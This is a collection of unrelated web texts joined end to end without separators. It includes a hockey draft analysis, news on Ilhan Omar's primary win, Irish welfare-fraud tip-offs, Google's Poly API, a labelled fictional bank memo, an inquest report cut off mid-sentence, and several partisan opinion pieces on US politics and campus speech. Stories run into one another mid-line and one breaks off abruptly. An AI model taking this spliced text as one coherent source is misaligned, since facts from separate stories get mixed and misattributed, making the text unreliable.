Ivan Provorov
Draft +1
Since the 2000 draft, 12 defencemen have gone on to play in the NHL directly after being drafted (8.6% of all those drafted). I have attempted to segment the players into four categories: very good, good, bad, and bust. Each player is judged differently. For example, Aaron Ekblad has only had one very good season, while Jay Bouwmeester has had a very good overall career.
This list includes two of the best defencemen in the game today (Drew Doughty and Victor Hedman), as well as two of the best young defencemen (Seth Jones and Aaron Ekblad). However, this list also contains three players who have turned out to not be very good NHLers thus far in Adam Larsson, Luke Schenn, and Luca Sbisa.
Adam Larsson has struggled up until part way through last season (when Pete Deboer was fired) when he seemed to turn a corner under Scott Stevens and Lou Lamoriello. However, he has not had a very good first 192 games to his career.
When Luke Schenn was drafted in 2008, scouts raved about his defensive and physical game. He was described as a stay at home defenceman and was drawing comparisons to Adam Foote. However, in todays NHL, that type of defencemen seems to be becoming less and less valuable.
Travis Sanheim
Draft +2
Of players drafted between 2000 and 2013, 22 players have had their first season in the NHL be two years after they were drafted (16.4%). Those players are:
The majority of the players to start their career in draft +2 have ended up being good players, with only two players who I would consider bad NHLers (and even they are debatable).
Samuel Morin
Draft +3
This is, understandably, the year when players start their career more than any other. 25 of 125 (17.6%) players drafted from 2000 to 2012.
This grouping is very similar to the previous ones. A lot of good players, a few very good players, and a couple bad ones.
Draft +4 and higher
For this portion, I will used the 66 defencemen drafted from 2000 to 2009. This allows us to eliminate players who have not had a chance to play in draft in the 5 years since their draft. 33 of those players did not play in their first three seasons after being drafted.
Most players in this category either have not yet played 20 games, or would be classified as a bad NHLer. This makes sense, because the only way to not have played 20 games is to be in this category. But even excluding that category, this is the only category where the majority of players would be considered bad.
Obviously, there can be a lot of debate about the classification of each player. But the overall theme of the exercise remains. Yes, it is dangerous to play young defencemen. But it is also dangerous to wait to play defencemen. Largely because prospects in general are a risky and dangerous thing to project. Do not let the Luke Schenns and the Steve Emingers scare you off. Because they were likely to become a Mark Fistric anyway. Just like Drew Doughty was probably going to be Drew Doughty even if he went back to junior for a year.Neighborhood activist Ilhan Omar made history Tuesday by winning a fiercely competitive DFL primary in a Minneapolis House district, which means she likely will become the nation’s first Somali-American legislator next year.
Her victory was all the more remarkable for beating DFL Rep. Phyllis Kahn, a historic figure in her own right who is tied for the longest-serving legislator in state history.
Born in Somalia, Omar, 33, and her family escaped civil war and lived for four years in a Kenyan refugee camp before ultimately moving to the Somali-American neighborhood of Cedar-Riverside, where she has lived for nearly two decades and is currently director of policy initiatives at Women Organizing Women.
Chants of “Ilhan” rung out as Omar walked in to a celebration Tuesday night, grinned, wiped away tears and held one of her three children close to her side on her way to a stage. Revelers had to be ushered off the stage.
“Tonight we made history,” Omar told the crowd. “Tonight marks the beginning of the future of our district, a new era of representation. Tonight is about the power of you.”
She choked up as she thanked her father, husband and children and her late grandfather, whom she credited for teaching her about representative democracy. Many in the audience wiped away tears.
Ilhan Omar, who defeated Rep. Phyllis Kahn in a DFL primary for a state House seat based in Minneapolis, was greeted by supporters on Tuesday night.
“It is with tremendous gratitude that I accept the nomination. I pledge to represent you with integrity and humility,” she said, promising to be a progressive champion.
Afterward, she gave another victory speech in Somali.
Former Minneapolis Mayor R.T. Rybak, who endorsed Omar earlier this year, applauded Omar. “From a refugee camp to the State Capitol with intelligence and insight,” he said. “This is a wonderful story to tell as Americans, and a great source of pride for the state of Minnesota’s open arms.”
Kahn praised Omar in what was a wide open and unpredictable battle where none of the three candidates seemed to have a lock. Omar also topped Mohamud Noor, a Somali-American computer scientist and activist.
“Ilhan obviously ran a very good campaign and mobilized a lot of people that we didn’t see before in previous elections,” Kahn said after the results were in.
She said that her own election in 1972 had been historic and “this is a new historic event... our district is the home of historic events.”
In November, Omar will face Republican Abdimalik Askar, an educator and community activist.
Voters said they believed Omar could deliver change.
Hassan Abdi, 25, voted for the first time on Tuesday, driven to the polls by his concern for jobless young people and his belief that Omar can help. “We need leaders who can change our community,” said the resident of Cedar-Riverside, who works for UPS. “Too many young people are going around with no jobs.”
Abdi, originally from Somalia, also said he has rallied behind Omar for cultural reasons. “In my home country, men have the power,” he said. “This is an opportunity to show that women can do what a man can do.”
Omar’s dramatic victory threatened to overshadow another upset, this one from 24-year-old Fue Lee, who was born in a refugee camp in Thailand and currently works in the office of Secretary of State Steve Simon. He defeated 10-term incumbent Rep. Joe Mullery, DFL-Minneapolis.
Both upsets came in heavily DFL districts, which means they are virtually assured of victory in November.
Their victories illustrated the ascendance of minority populations in the DFL, as new immigrants and African-Americans demand a higher profile and a seat at the table of the party they call home.
Republicans also saw two long-serving legislators go down to defeat in their primaries.
Rep. Tom Hackbarth, R-Cedar, lost to Cal Bahr, who had been endorsed at the local GOP convention.
Sen. Sean Nienow, R-Cambridge, lost to Mark Koran.
DFL Rep. Phyllis Kahn at the endorsing convention in April.
Other incumbents, most notably House Speaker Kurt Daudt, R-Crown, survived primary challenges. Despite a flood of money spent to defeat him, Daudt won a convincing victory over military veteran Alan Duff.
Anecdotal reports from polling stations confirmed expectations of low turnout due to the absence of a statewide race for governor or U.S. Senate this year, as well as Minnesotans’ summer tradition of heading to summer cabins where politics can seem far away.
“It’s been pretty light,” said Douglas Ackerman, an election judge at South Suburban Evangelical Free Church in Apple Valley.
The polling place saw just a trickle of voters throughout the morning and afternoon. By 3 p.m., just 100 people had cast votes at that location. Ackerman said he expected about 200 votes to be cast.
Intensity is expected to rev up this fall, when Minnesotans will decide on all 201 legislative districts — 134 in the House and 67 in the Senate.
The Legislature has swung back and forth every two years since 2008. Republicans snatched control from the DFL in 2010; the DFL took both chambers in 2012; Republicans won the House in 2014. The DFL would need to take seven seats to win back the House this year.
The reversals have resulted in significant policy changes, as Republicans sought low taxes and reduced spending, while the DFL-controlled Legislature raised taxes on the wealthy and increased spending on schools, social programs and infrastructure. Gov. Mark Dayton has repeatedly expressed frustration with divided government, while House Republicans currently in the majority have made an explicit appeal to voters that they stand as a check on the taxing and spending of the DFL.
Ilhan Omar's supporters chanted “Ilhan” after the primary results were in.
Staff writers Maya Rao and Hannah Covington contributed to this report.New figures show a dramatic increase in anonymous tip-offs over suspected social welfare fraud, with more than 21,000 reports submitted to Government authorities so far this year.
The increase – up from just 1,044 five years ago, an increase of more than 2,500 per cent – highlights the extent of the cultural shift over recent years in reporting suspected fraud.
The majority of reports related to people allegedly working while claiming benefits – some 8,350 reports. Other reports related to allegations lone parents were cohabiting with partners and that people living outside the jurisdiction were claiming benefits.
Minister for Social Protection Joan Burton has said that each and every report made by a member of the public is followed up.
In a statement, the Department of Social Protection said a payment is not suspended or stopped solely on the basis of an anonymous report. The anonymous report, however, may be a “trigger” for the instigation of a review of a recipient’s entitlement.
Internal briefing papers seen by The Irish Times suggest a minority of cases result in savings, however.
Anonymous reports
A survey of anonymous reports conducted recently found almost 16 per cent of the reports analysed resulted in welfare payments being stopped or reduced. Most reports did not contain sufficient information or else involved individuals who were legitimately claiming benefits.
However, the 16 per cent figure is considered by officials a conservative estimate as there were ongoing investigations in some of the surveyed cases.
The number of tip-offs hovered between 500 and 600 a year during the economic boom years. However, the number climbed rapidly as the economy deteriorated, suggesting that any tolerance for welfare abuse has begun to evaporate over recent years.
In 2008, a total of 1,044 reports were made, followed by almost 6,500 in 2009 and reports reached a new high of 28,022 last year. Latest figures up to November of this year show 21,008 reports had been made. The final end-of-year figure is likely to be significantly higher.
Record savings
The increase is welcome news for Ms Burton, who is expected to announce record savings of more than €700 million achieved by her department through targeting fraud and clerical errors during 2013.
In a statement, Minister Burton said the Government was committed to maintaining core welfare rates, while taking a zero-tolerance approach towards welfare fraud.
“These are my twin aims to ensure we protect the vulnerable and pursue those who try to defraud the system,” she said.
Her department has set itself an ever bigger target next year of €740 million in so-called “control measures”.
These include mail shots to social welfare recipients aimed at confirming that eligibility conditions continue to be met, direct reviews of entitlement by inspectors and medical re-certification or fraud and abuse investigations.
In total, more than one million reviews of individual social welfare claims are set to be carried out.
New measures are also being used to help secure extra savings. Social welfare inspectors now have powers to question people at ports and airports who they believe may be entering the country to claim social welfare fraudulently.Poly, as a reminder, is a big collection of royalty-free 3D objects and "scenes" that developers can incorporate into virtual or augmented reality apps, games, and other programs. The idea is to help creators populate their worlds with objects (either as-is or modified) to boost development speed and quality.
With its Daydream platform, Google has a vested interest in getting as many AR and VR apps out there as possible. Nevertheless, the objects will work on other platforms, too, including Apple's ARKit. They include simple characters and objects like trees, plants, fountains, or bricks, along with more elaborate things like a full 3D version of Wonder Woman.
Poly API lets developers pore through its large collection of assets, while interacting directly with them via Poly in VR. You can search by keyword, category, format, popularity or date uploaded, and even by model complexity and other factors. "Think of Poly like Google for assets," said Mindshow CCO Jonnie Ross.
For developers using Unity or Unreal Engine, Google has also created the Poly Toolkit, letting you import 3D objects and scenes directly into a project. "Finding and creating 3D assets are both time-consuming processes," said Mindshow CEO Gil Baron. "Poly API not only speeds up the exploration of production, but the production itself." For consumers, that should in turn lead to more and better VR apps.The Canary Wharf financial district is seen at dusk in London, Britain November 7, 2014. To match Special Report BRITAIN-EU/BANKS REUTERS/Toby Melville
LONDON (Reuters Breakingviews) - The following memo comes from the fictional office of a fictional global bank chief executive, sent to employees on the anniversary of Britain’s vote to remain in the European Union.
Colleagues
It has been a year since Britain voted narrowly to remain in the European Union. As you know, this is a decision we supported, given our sizeable activities and investments in the United Kingdom. Even so, the financial and political uncertainty unleashed by the referendum has lasted longer than we expected. Changes lie ahead, but we are confident that we will be able to keep generating attractive and sustainable returns for our shareholders and employees.
The boost to consumer and investor confidence from the referendum result proved fleeting. While our trading businesses benefited from the volatility of the pound and renewed inflows to UK assets in the second half of 2016, the government’s decision to push through further austerity measures and tax rises has made for a challenging environment. The Bank of England’s move to raise interest rates three times in a short period caught many unaware. Strategic actions to realise synergies from our UK workforce - while unfortunate for the individuals concerned – leave us well positioned for the cycle.
Like many, we watched with concern the protests organised by the anti-EU “48 Percent” movement during its “month of rage” campaign. It is disappointing that campaigners have been unwilling to accept the democratic result and move on. Unlawful vandalism that targeted financial institutions is particularly unfortunate. This bank also voiced strong concerns about Home Secretary Theresa May’s proposal that businesses publish numbers of foreign workers. While that initiative was promptly rescinded, we have noted an increased reluctance among international talent to relocate to the United Kingdom.
The good news is that the euro zone’s prospects keep getting better. French President Emmanuel Macron’s new package of incentives for financial companies has persuaded us to begin enhancing our presence there, with select headcount moves in origination and advisory. We will also be closely following the European Central Bank’s renewed attempt to relocate clearing of euro-denominated derivatives to the single currency area. We do not anticipate this will impact the seamless service we offer clients. Our Paris-based subsidiary gives us flexibility.
Overall, our message is that it is business as usual. Following the leadership changes in Britain’s ruling Conservative Party, we look forward to working closely with Prime Minister Boris Johnson and his team. We are excited to hear about his proposals for a 350 million pound-a-week innovation fund for financial institutions. Together with you, and your commitment to our customers, I have huge confidence in our capacity to realise our potential as a truly European company.
Sincerely
Bank CEOPolice forced their way into her terraced house in Heaton, Bolton, Greater Manchester, on April 26 where they discovered her badly decomposed body.
The inquest heard that Christmas decorations were still up at her home and analysis of her phone revealed she had last used it to send a text message to a friend cancelling a meeting on December 30 last year.
Assistant coroner Timothy Brennand was told by police investigating officer Det Insp Jonathan Kelly that her two pet dogs had also died in the same room.
In a statement, Miss Gradwell's father Jack described her as a "bright and pretty" child who loved animals, even taking her pet spaniel for rides in her bicycle basket.
The unmarried former Bolton School sixth-form pupil went |
has been fear (that’s prevented owners from contacting police). As dispensary owners become more aware of the tools available to them, though, I think we will actually be able to establish a relationship with the Toronto Police Service,” she said.
Groups ask police to work collaboratively with dispensaries
In a news release issued by the Cannabis Friendly Business Association and the Toronto Dispensary Coalition earlier on Thursday, the groups ask Toronto police to work “collaboratively” with the city’s dispensaries.
“Police raids bring violence into the city, with no recourse by the public. The raids themselves are violent, and since criminals believe dispensaries will not have the support of the police, dispensaries are viewed as easy targets for robberies. Violence begetting more violence,” Michael McLellan, a spokesperson for the Toronto Dispensary Coalition, said in the news release.
“The better approach is for police to work collaboratively with dispensaries, and for the city to regulate dispensaries.”
The groups say while they were “encouraged” by Mayor John Tory’s request for city staff to explore “regulatory mechanisms,” the raids have continued and little community consultation has been done.
“Additionally, many dispensary workers, growers, edible makers and patients are facing criminal charges under the Controlled Drugs and Substance Act, despite widespread public support and court rulings in support of medical cannabis access. On top of being persecuted by the City of Toronto police and by-law officers, dispensaries are now experiencing an epidemic of robberies,” the release read.
“Instead of punishing cannabis businesses, the City of Toronto should move towards regulation to improve community safety.”Conservative watchdog group Judicial Watch has submitted its questions for Democrat presidential nominee Hillary Clinton to answer regarding her private email server.
Clinton was ordered to answer the questions within 30 days from receipt of them by a federal judge,which means they will be in before the election.
The questions, 25 of them, range from whether she was told about hacking attempts to why she created the private server in the first place.
“Describe the creation of the clintonemail.com system, including who decided to create the system, the date it was decided to create the system, why it was created, who set it up, and when it became operational,” the first question read.
“Were you ever advised, cautioned, or warned, was it ever suggested, or did you ever participate in any communication, conversation, or meeting in which it was discussed that your use of a clintonemail.com email account to conduct official State Department business conflicted with or violated federal record keeping laws,” read another.
It also asked questions about Freedom of Information Act requests that were denied by the State Department during Clinton’s tenure as Secretary of State.
“During your tenure as Secretary of State, did you understand that email you sent or received in the course of conducting official State Department business was subject to FOIA?” one question on the matter read.
And on the subject of deleted emails, Judicial Watch wants to know how and why Clinton decided which emails to destroy.
“After you left office, did you believe you could alter, destroy, disclose, or use email you sent or received concerning official State Department business as you saw fit? If not, why not?” a question on the matter read.
It also wants to know “what tool or software was used to delete or destroy them, who deleted or destroyed them, and was the deletion or destruction done at your direction?”
“These are simple questions about her email system that we hope will finally result in straight-forward answers, under oath, from Hillary Clinton,” Tom Fitton, the president of Judicial Watch, said in a statement.
The entire list of questions can be read here.Anti-gay activists have claimed that the Supreme Court’s decision to strike down same-sex marriage bans in Obergefell v. Hodges will lead to a tidal wave of oppression and persecution — just as they did following the passage of the Hate Crimes Prevention Act in 2009. Struggling to find the “victims” of gay marriage, Religious Right activists have pointed to a small handful of wedding cake bakers or photographers who were sued after denying service to gay couples.
One of these bakers, Jack Phillips, recently lost his appeal after he was found to be in violation of Colorado’s nondiscrimination law. After the courts ruled against Phillips for a second time, Tony Perkins of the Family Research Council and Fox News pundit Todd Starnes linked the ruling to the Obgerefell decision, even though the lawsuit against the baker was filed prior to Obgerefell and even before Colorado legalized same-sex marriage (the couple was married in Massachusetts).
Alliance Defending Freedom’s Nicolle Martin, who is representing Phillips, appeared yesterday on Perkins’ radio show, where she spoke to guest host Craig James, another FRC official, about the case. (When Martin spoke to Perkins about the case last year, Perkins speculated that it could be a forerunner to an anti-Christian holocaust, asking when the government would “start rolling out the boxcars to start hauling off Christians.”)
When James asked Martin if Phillips would have “prevailed if the Supreme Court had not redefined marriage,” the attorney flatly answered, “No.”
“This court used decisions that predated Obgerefell,” she said, adding, “Obgerefell has nothing to do with the First Amendment and the right of all Americans to live and work according to their conscience, it has nothing to do with the Free Exercise Clause, it does not affect those fundamental rights, the pre-eminent civil rights laws of our nation, it doesn’t affect those laws in anyway.”
The Alliance Defending Freedom attorney’s statement pretty much rebuts the Religious Right’s favorite talking point about how the Supreme Court’s marriage equality ruling “abolished” the First Amendment.Dateline Houston, Texas: Houston we have a problem: Six little inches of air will determine whether millions of dollars will be spent to clean up the air of millions of people in the Oil and Chemical Capital of the World.
Houston has one of the largest urban networks of air monitors and some of the worst air pollution in the nation. This is all thanks to their Master Un-Plan. Thanks to the complete lack of any zoning regulations; freeways, refineries and chemical plants sit right on top of neighborhoods, schools, day cares, hospitals and the like. Ozone alert days telling everyone to stay inside are a frequent occurrence.
Despite all the monitors in this vast area, the federal determination about Houston’s air quality index for the smallest and most hazardous particle may come down to how about 6 inches of the hundreds of square miles of air is measured.
Two key State run monitors for the pesky PM 2.5 micron size particle are in the bustling Ship Channel area of Galena Park, home to hundreds of major industrial air polluters and the ginormous Port of Houston, filled with trucks, tugs, tankers and diesel powered engines. All of these are large contributors to PM 2.5 pollution. The Federal health based standard for PM 2.5 is 12 micrograms per cubic meter over a 24 hour period.
If the two State monitors in the Ship Channel average over 12 this year, the area will be in violation of the Federal Standard to protect human health and be faced with spending hundreds of millions of dollars to clean it up. Much of that cost would be passed on to the polluters to clean up their emissions.
The State uses standard air monitoring technology, which captures air through a 3-inch intake, so together the two monitors are breathing in 6 inches of air total in this vast region.
And those monitors are supposed to be very thoughtfully located to accurately represent that huge zone. One has to pause here and question the wisdom and accuracy of these assumptions, but these are the cards we are all currently dealt by our State and Federal Agencies’ clearly outdated protocols and systems.
Right now the more important of the two monitors is located on the very edge of a little community known as Galena Park. Most of the residents of Galena Park are nowhere near the monitor. The current average level of PM 2.5 pollution at the Galena Park site is sitting at 11.6, just shy of a violation.
And that’s right where many local politicians, the Port, industry and the State of Texas want to keep it, below 12.
Maybe that’s why several million dollars was spent by these folks to pave dirt roads in the Port adjacent to the monitor site. And why trees were planted as a buffer to filter particles before they get sucked into that precious 3 inches of Houston’s air.
However, community members in Galena Park together with the non-profit Air Alliance Houston got trained by the Global Community Monitor to do their own independent tests to get to the bottom of what most of the residents of the area are breathing.
Results from 6 months of tests show that the levels of PM 2.5 (taken at 5 sites including schools, City Hall and neighborhoods) are averaging an unhealthy 15.6, well above the Federal standard.
According to recent peer reviewed studies, the levels of fine particles in the air that is often available for breathing in Galena Park could cause hospitalization, heart attack, stroke or premature death.
Of course these areas did not get the benefits of extra paving on Port roads near them and not a single sapling either.
It’s curious that three little inches of air got so much attention and investment so a machine could breathe healthy air, while the 10,000 residents of Galena Park get unhealthy air and zero investment.
But then again you have to consult the Master Un-Plan: unlimited and unplanned growth is encouraged in Texas.
Like Governor Rick says, “We’re open for business in Texas.” It’s becoming clearer exactly what that means to people trying to breathe in booming places like Houston.
At this rate it’s anybody’s guess how much longer Texas will be “Open for Breathing”.
AdvertisementsKiwiRail reversed a decision to make a report public after Transport Minister Simon Bridges' office raised concerns with one of its executives.
Photo: VNP / Daniela Maoate-Cox
New emails obtained by RNZ reveal their back-and-forth over how to respond to a request for official information about a proposed rail freight line between Wiri and Westfield, in Auckland.
New Zealand First last week revealed Mr Bridges' staff had repeatedly urged KiwiRail not to release the business case, arguing it could form part of a future budget bid.
The new correspondence shows the state-owned company eventually conceded after Mr Bridges' officials escalated the matter to one of KiwiRail's executives.
On 6 June, KiwiRail reversed its initial decision to release the document in full and instead decided to withhold it altogether.
It changed its draft response to read: "Disclosing the document could inhibit KiwiRail from carrying out, without prejudice, future negotiations."
Mr Bridges' staff immediately replied: "The Office is supportive of this response."
However just days earlier, on 1 June, KiwiRail said its legal advice was that releasing the report "would be unlikely to prejudice our negotiations".
It said it would therefore struggle to justify holding it back.
The next day, Mr Bridges' staff contacted a member of KiwiRail's executive, Todd Moyle, saying they were "extremely uncomfortable" with the document being released.
Eventually, just hours after KiwiRail conceded, New Zealand First leader Winston Peters raised the matter in Parliament.
After three days of media scrutiny and questions, KiwiRail changed its mind again, telling the minister's office it now intended to release the document publicly.
The rail company yesterday published the business case online, with several passages redacted.
Mr Bridges has previously defended his officials' actions, saying they were right to push back against Kiwirail's initial view the report should be released.
He said the document was a very early draft and materially wrong in many respects.
The Ombudsman is to properly investigate the case after New Zealand First formally requested it do so.
Chief Ombudsman Peter Boshier this week wrote to Prime Minister Bill English, asking for an assurance ministers are following the law when dealing with official information.
TimelineEpic fantasy is generally serious in tone and often epic in scope, dealing with themes of grand struggle against supernatural, evil forces. Some typical characteristics of epic fantasy include fantastical elements such as elves, fairies, dwarves, magic or sorcery, wizards or magicians, invented languages, quests, coming-of-age themes, and multi-volume narratives.Whether a single book or a series, what do you think is the best epic fantasy of all time?Note: Please avoid adding up books that are not relative to the description.Books which are not epic fantasy: Harry Potter, Percy Jackson (will be deleted).Also will be deleted: any individual books of the Game of Throne series, Hobbit & Lord of the Rings series, etc. (otherwise the first 3 pages will be composed of just the top 4 series)Other Lists of Note:Fantasy by Decade:Locus Recommended Fantasy:Fantasy By Ratings:WASHINGTON, D.C. – A collective revelation was recently had by the three goaltenders on Team U.S.A., and those sensitive to spoilers should know that fate will ensure this particular matter occurs sometime soon. Bear with us, though, because the parameters take time to explain.
Start in March 2004, at an ice rink not far north of the Massachusetts-New Hampshire border. It was the semifinals of the New England prep school tournament, among the most competitive high school hockey leagues this country offers. In the winning crease celebrated Jonathan Quick, then a junior and the bedrock for top-seeded Avon Old Farms. On the losing side, his prep career officially finished in the 4-1 decision, stood Cory Schneider.
Adam Hunger/Getty Images
Move ahead three years later, to March 24, 2007, and zip 400-some miles west to Blue Cross Arena Rochester, N.Y. By now Quick was a sophomore at UMass-Amherst, a former third-round pick of Los Angeles who had just led the Minutemen to their first-ever NCAA tournament berth. That evening, Quick and his teammates faced Maine in the East Regional final, a berth to the Frozen Four at stake. Quick was solid, making 13 saves in a scoreless first period, but two power play goals from the Black Bears led to a 3-1 exit. Before long, Quick signed his entry-level contract and began playing professionally in the ECHL. The opposing goalie who dealt Quick defeat in his last college game, making 35 saves and snuffing one of seven power plays? Ben Bishop.
So, let’s allow Schneider to recap: “Quick ended my high school career, and then Bish ended Quicky’s college career,” he says, working toward the big conclusion. “So hopefully way down the line here I’ll end Bish’s NHL career at some point.” He pauses to clarify. “In a good way. Not in an injuring him way. In a battle-of-the-40-year-old-goalies kind of way.”
And why not, since the trio seems to have been cosmically linked since adolescence? All were born in 1986, all attended Hockey East schools—Quick at Massachusetts, Bishop at Maine, and Schneider at Boston College—all developed into standout NHL netminders, and now all are representing the United States at the upcoming 2016 World Cup of Hockey. “We’re getting old now, man,” Bishop says.
Among the three, Bishop was the geographical outlier. A highly touted prospect from the Midwest—Schneider and Quick both hail from New England—Bishop committed to Maine for its legacy of developing goalies, notably his immediate predecessor, Jimmy Howard.
“I didn’t really know any of those guys,” Bishop says. “They didn’t play in the USHL or the NAHL. We didn’t really keep up with prep school hockey. I didn’t know anything about them until I got there, and obviously learned quick.” The feeling, it should be noted, was mutual. “You didn’t know much about Bish,” Schneider says. “You just knew he was this huge kid who could play.”
By the time Bishop and Quick matriculated at their respective schools, Schneider had already played his freshman season with the Eagles, going 13-1-4 with a 1.90 goals against average. He turned pro as the most decorated among them too, making consecutive appearances in the NCAA final and winning Hockey East’s goalie of the year honors as a sophomore.
Andrew D. Bernstein/NHLI via Getty Images
Not that his current teammates were statistical slouches over the two seasons they spent opposing one another. Bishop posted consecutive 20-win seasons, both ending in the NCAA semifinals; Quick’s.926 career save percentage and 2.40 GAA still stand atop UMass’ career leaderboard, and no one has won more games than his 19 in 2006-07.
“It was a bear to play in that league,” Schneider says. “Every night you were facing off against a pretty good guy who ended up having a career after college. I don't think you realize it at the time, because you’re just doing your thing in college, you’re not really worried about what’s going on down the road, but when you sit and look back, you say, Wow, there were some pretty good goalies in the league at that time.”
In the home locker room Monday morning at Verizon Center, between tune-up exhibitions before round-robin play begins later this week, bits of memory came back to the trio about their time in Hockey East together. Head-to-head, Schneider went 4-3 against Bishop, including in the ’06 Hockey East semis at TD Garden, and 2-2 against Quick; Bishop held a 2-0-1 edge over Quick. (Don’t feel bad. Quick’s the only one among them to lift the Stanley Cup.)
Justin K. Aller/Getty Images
Everyone, of course, remembers Alfond Arena, the Black Bears’ home rink infamous for its student section. “The balcony almost hangs over the ice,” Schneider says. “They were pretty ruthless fans. Always a fun place to go, always a fun place to win, because you got to quiet that crowd.” He and Quick look back on their prep battle, when Schneider’s Phillips Academy took a 1-0 lead before allowing four unanswered. “He saw a lot of shots that night,” Quick recalls.
They figure it’s probably coincidental that they all ended up here together after traveling such similar roads, but it undoubtedly speaks to the quality of goaltending the United States has produced, and the quality of an alternative to the Canadian junior route.
“I hadn’t even thought about it,” says Scott Gordon, an assistant on Team USA and a former goalie at Boston College. “I think maybe at the time they were playing, Hockey East obviously has a lot of teams that compete for the national titles. For that reason alone, you’re in the spotlight, more high-pressure situations. That’s probably the best answer I could give you.”
Maybe, then, it’s just more fun considering these intersecting paths like the goalies do—as one small area of common ground, as a fun window into the past, and perhaps even a predictor of how Bishop’s NHL time will end.
“We made this full circle,” Schneider says. “We’ll see if that comes to fruition.”The Texas bullet train project is moving ahead, hitting milestones and keeping alive the audacious promise of a 90-minute train ride between Dallas and Houston. But yet again, a big potential roadblock has emerged in Austin.
This week, lawmakers filed over 20 bills that could slow the privately funded project or even kill it. Opponents appear more organized than two years ago when they tried to derail the program and failed.
One bill calls for a government feasibility study; another requires a state designation to survey property. Multiple bills would ban state money, even though the owners, Texas Central Partners, have pledged to not seek any grants for the $12 billion project. The most threatening legislation would prevent Texas Central from using the power of eminent domain at all.France Launches €1.35 Billion Clean Energy Program
August 19th, 2010 by Zachary Shahan
The French government announced a huge investment package for renewable energy last week, totaling €1.35 billion ($1.73 billion). The money is to be invested over the next 4 years.
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The program is called “demonstrateurs energies renouvelables et chimie verte,” which in English would mean “renewable energy and green chemistry demonstration.” It will include €450 million ($577 million) in subsidies and another €900 million ($1.15 billion) in low-interest loans for “cutting-edge technology projects.”
The emerging, cutting-edge technologies it would be supporting projects in solar energy, marine energy, geothermal energy, carbon capture and storage, and advanced biofuel.
This is quite a surprise, to me at least, since France has traditionally put so much of its “clean energy” money into nuclear energy and, to some extent, wind energy.
About €190 million ($244 million) is supposed to be invested by the end of the year, and then €290 million ($372 million) every year afterwards until 2014.
The French government is, reportedly, looking to get private investors to put in €2 billion ($2.56 billion) as well.
And, Bloomberg reports that beyond this clean energy investment program, the French government is looking to similar programs for green transport (a €1 billion or $1.28 billion program) and smart grid demonstrations (a €250 million or $320.5 million program).
I looks like France is aiming to up its green credentials quite a bit, and also diversify its green investment, to continue on its track as a leader in addressing two of the main causes of global warming — electricity generation and transportation.
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Photo Credit: FrenchSelfCatering.com via flickrIt’s apparently okay to read history books at Northern Arizona University, but not the Good Book.
Mark Holden, a 22-year-old history major, tells me he was ordered to leave a lecture hall after his professor objected to him reading the Bible before the start of the class.
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Holden alleges that Professor Heather Martel ordered him to put away the Good Book around six minutes before a scheduled history class. It’s unclear why she objected to the reading of God’s Word.
According to her biography, Professor Martel is a noted scholar who is working on an essay titled, “The Gender Amazon: Indigenous Female Masculinity in Early Modern European Representations of Contact.” She also teaches classes on Global Queer History and Feminist Theory.
When Holden declined to stop reading his Bible, the professor summoned Derek Heng, the chairman of the department. Heng then proceeded to explain the situation.
Holden recorded the conversation and turned it over to congressional candidate Kevin Cavanaugh. In turn, Cavanaugh provided me with a copy of the audio.
“So Professor Martel says that she doesn’t want you sitting in front of her because you put, you know, a Bible out, right?” Heng said.
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“So she doesn’t want me in the front because I have my Bible out,” Holden replied.
“No, I think she, I mean, well why do you have your Bible out anyway,” Heng asked.
After a bit more back and forth regarding the dynamics in the classroom, the chairman of the department got to the heart of the issue.
“So, will you, will you, will you, put your Bible away,” Heng asked.
The incident occurred back in February, but just recently became public after Campus Reform reported on controversy.
Holden had previously drawn the ire of his professor during a classroom discussion on assimilation.
“All the students agreed with her that assimilation is oppressive and evil,” Holden said. “I suggested there are both positive and negative aspects to assimilation.”
As an example, he referenced a report about two Muslim men in California who reportedly said the Koran justified doing terrible things to women.
“She told me I was a racist and she would not tolerate that kind of racism in the class,” Holden said. “I told her Islam was not a race and I was only talking about what the two Muslims men as individuals said – I was not making broad claims about Islam or my interpretation of the Koran.”
After a bit of back and forth, Holden said the professor told the class, “Welcome to Trump’s new America – where straight white males can say prejudicial things without being reprimanded for it.”
I reached out to Holden and university officials for their side of the story – but so far they have not returned my calls.
However, I did obtain an email Martel sent to Holden warning him about “disruptive behavior.”
“For the remainder of the class, I will ask you to move to one of the desks along the wall by the door,” she wrote. “The roll sheet will be passed to you. You will make sure that students who come in late sign in. I will also require that you respect me and the other students in the class by acting in a civil manner.”
In a separate email addressed to the entire class, Martel vowed to “re-instate civility” in the classroom.
“I want this to be clear: hate speech does not meet the definition of respectful discussion and will not be tolerated,” she wrote. “In law, hate speech is any speech, gesture or conduct, writing, or display which is forbidden because it may incite violence or prejudicial action against or by a protected individual or group, or because it disparages or intimidates a protected individual or group.”
Something tells me Christians and Conservatives are not considered to be a protected group at Northern Arizona University.
“If you are a Christian, you are being targeted,” Cavanaugh told me. “Christians are being silenced.”
Cavanaugh said he got involved in Holden’s case because stopping the radicalization of public universities is a part of his campaign platform.
“If free speech is not permitted on a public university campus, federal funding should be refused,” he told me. “If you want to limit free speech, don’t take federal money.”
“We have seen on this campus and across the nation that people are being punished for their Christian views,” Cavanaugh said.
That may or may not be the case here – but based on that audio recording – there’s not much wiggle room.
The cold hard reality is a student was yanked out of a classroom for reading the Bible. Woe be unto us, America.One definition of a pathological liar is someone who lies where the truth would serve just as well. When President Obama’s uncle, Onyango Obama, was arrested in 2011 for drunk driving, the truth — that Obama had stayed with his uncle years earlier for several weeks as a Harvard law student — would have served the president just fine. No potential Obama voter would have held it against him that an uncle he had stayed with two decades earlier was picked up for DUI.
Yet the White House went with a lie, claiming that Obama had never met his uncle.
Now that the lie has been exposed, thanks to testimony from “Uncle Omar” at his deportation hearing, the White House says it got its facts wrong. Why? Chiefly because it relied on Obama’s book Dreams From My Father, which contained no reference to uncle Omar.
How ridiculous is this? We are asked to believe that instead of checking with Obama, the only available person who could know the extent of his relationship with Omar, his flacks issued a denial based on book that doesn’t even purport to be autobiographically accurate.
Dreams From My Father does not, of course, provide a definitive list of Obama’s acquaintances. But more than this, Obama has said that the book uses pseudonyms and contains composite (or “compressed”) characters. Thus, it would make no sense to deny Uncle Omar’s existence based on his non-appearance in the book.
So what explains the denial? The most straightforward explanation is pathological lying — the impulse to deny, deny, deny whenever an embarrassing story, even an essentially innocuous one, appears. In this scenario, staff (perhaps at Obama’s direction; perhaps not) decided to deny that Obama had met Uncle Omar provided there was nothing in Obama’s book, or elsewhere in the record, that would show otherwise. Believing they could get away with the lie, they lied.
